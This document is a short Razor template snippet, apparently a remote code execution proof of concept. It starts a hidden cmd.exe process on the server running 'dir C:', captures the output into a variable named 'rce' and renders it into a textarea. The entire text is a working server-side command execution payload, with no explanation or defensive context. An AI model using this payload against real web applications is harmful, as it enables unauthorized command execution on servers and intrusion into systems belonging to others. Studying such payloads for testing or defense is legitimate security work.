@{
System.Diagnostics.Process si = new System.Diagnostics.Process();
        si.StartInfo.WorkingDirectory = @"c:\";
        si.StartInfo.UseShellExecute = false;
        si.StartInfo.FileName = "cmd.exe";
        si.StartInfo.Arguments = "/c dir C:";
        si.StartInfo.CreateNoWindow = true;
        si.StartInfo.RedirectStandardInput = true;
        si.StartInfo.RedirectStandardOutput = true;
        si.StartInfo.RedirectStandardError = true;
        si.Start();
        string output = si.StandardOutput.ReadToEnd();
        si.Close();
var rce = output;
}

<textarea>
@rce
</textarea>